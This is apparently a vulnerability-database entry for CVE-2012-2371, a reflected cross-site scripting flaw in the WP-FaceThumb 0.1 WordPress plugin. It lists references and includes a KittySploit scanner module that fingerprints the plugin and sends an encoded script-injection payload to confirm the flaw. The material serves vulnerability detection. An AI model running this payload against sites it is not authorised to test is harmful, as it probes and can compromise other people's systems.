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WP-FaceThumb 0.1 - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Remote attackers can inject arbitrary web script or HTML in WP-FaceThumb via pagination_wp_facethumb.

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ReporterTitlePublishedViews
Family
circl
Circl
CVE-2012-2371
13 May 201200:00
–circl
cve
CVE
CVE-2012-2371
13 Aug 201220:00
–cve
cvelist
Cvelist
CVE-2012-2371
13 Aug 201220:00
–cvelist
exploitdb
Exploit DB
WordPress Plugin WP-FaceThumb 0.1 - 'pagination_wp_facethum' Cross-Site Scripting
13 May 201200:00
–exploitdb
euvd
EUVD
EUVD-2012-2362
7 Oct 202500:30
–euvd
nuclei
Nuclei
WP-FaceThumb 0.1 - Cross-Site Scripting
16 Oct 202602:05
–nuclei
nvd
NVD
CVE-2012-2371
13 Aug 201220:55
–nvd
patchstack
Patchstack
WordPress WP FaceThumb Plugin 0.1 - Cross Site Scripting
13 May 201200:00
–patchstack
prion
Prion
Cross site scripting
13 Aug 201220:55
–prion
ptsecurity
Positive Technologies
PT-2012-3990
13 Aug 201200:00
–ptsecurity
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""A cross-site scripting vulnerability in index."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'WP-FaceThumb 0.1 - Cross-Site Scripting Detection',
        'description': 'A cross-site scripting vulnerability in index.php in the WP-FaceThumb plugin 0.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the pagination_wp_facethumb parameter.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2012', 'packetstorm', 'wordpress', 'xss', 'wp-plugin', 'mnt-tech', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2012-2371',
            'http://www.openwall.com/lists/oss-security/2012/05/15/12',
            'http://packetstormsecurity.org/files/112658/WordPress-WP-FaceThumb-Gallery-0.1-Cross-Site-Scripting.html',
            'http://wordpress.org/support/topic/plugin-wp-facethumb-reflected-xss-vulnerability-cwe-79',
            'http://www.openwall.com/lists/oss-security/2012/05/16/1',
        ],
        'cve': 'CVE-2012-2371',
    }

    def run(self):
        path = '/wp-content/plugins/wp-facethumb/readme.txt'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_any = ('WP-FaceThumb ===',)
        if not (any(m in body for m in body_any)):
            return False
        path = '/?page_id=1&pagination_wp_facethumb=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_any = ('</script><script>alert(document.domain)</script>',)
        header_any = ('text/html',)
        if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
            self.set_info(severity='medium', reason='WP-FaceThumb 0.1 - Cross-Site Scripting detected', path=path)
            return True
        return False

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28 Jul 2026 11:27Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.3
EPSS0.12848
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